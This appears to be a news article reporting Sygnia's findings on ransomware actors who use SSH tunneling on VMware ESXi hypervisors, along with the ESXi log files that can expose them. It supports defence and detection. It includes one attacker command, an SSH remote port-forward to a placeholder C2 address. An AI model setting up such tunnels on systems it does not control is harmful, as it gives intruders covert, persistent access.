Ransomware Groups Using SSH Tunneling to Infiltrate Virtualized Networks: Sygnia

Ransomware groups are increasingly targeting VMware ESXi hypervisors using SSH tunneling to maintain persistence and evade detection. This method poses a significant threat to businesses as ESXi systems play a critical role in virtualized environments, enabling multiple virtual machines (VMs) to operate on a single physical server. By exploiting these systems, attackers can cripple entire networks, steal sensitive data, and render virtualized infrastructure inoperable.

Why VMware ESXi is a Prime Target

VMware ESXi appliances are integral to many organizations, hosting critical VMs that power various business operations. Despite their importance, ESXi systems are often under-monitored, making them an attractive target for ransomware actors. Once attackers gain control, they can encrypt files across the hypervisor, effectively shutting down all hosted VMs and disrupting business continuity.

According to cybersecurity firm Sygnia, attackers typically exploit known vulnerabilities or compromised administrator credentials to gain initial access. Once inside, they leverage ESXi’s built-in Secure Shell (SSH) service to establish a foothold and move laterally within the network.

SSH for Persistence and Stealth

The SSH service on ESXi systems is designed to allow administrators to manage the hypervisor remotely via a command-line shell. However, ransomware actors are misusing this feature to achieve persistence and deploy malicious payloads.

Sygnia explains that setting up SSH tunnels is relatively straightforward for attackers. By using the native SSH functionality or additional tools, they can create backdoors to their command-and-control (C2) servers. For example, attackers can execute the following command to establish a remote port-forwarding tunnel:

ssh –fN -R 127.0.0.1:<SOCKS port> <user>@<C2 IP address>

This technique allows attackers to maintain semi-persistent access to the network, as ESXi appliances are rarely rebooted. Such tunnels enable the attackers to communicate with their C2 infrastructure while bypassing traditional network monitoring tools.

Challenges in Detecting SSH Tunneling on ESXi

One of the main reasons ransomware actors successfully operate undetected is the lack of robust logging and monitoring for ESXi systems. Unlike many platforms that consolidate logs into a single file, ESXi distributes logs across multiple files, making it challenging for administrators to detect suspicious activity.

Sygnia highlights four key log files that can provide critical evidence of SSH tunneling and other malicious activities:

1. /var/log/shell.log – Tracks command execution within the ESXi shell.

2. /var/log/hostd.log – Records administrative actions and user authentication events.

3. /var/log/auth.log – Captures login attempts and authentication activities.

4. /var/log/vobd.log – Contains system and security event logs.

These logs can also reveal modifications to firewall rules—a common tactic used by attackers to enable persistent SSH access. However, identifying these traces can be difficult, as ransomware actors often clear logs, modify timestamps, or truncate entries to hinder forensic investigations.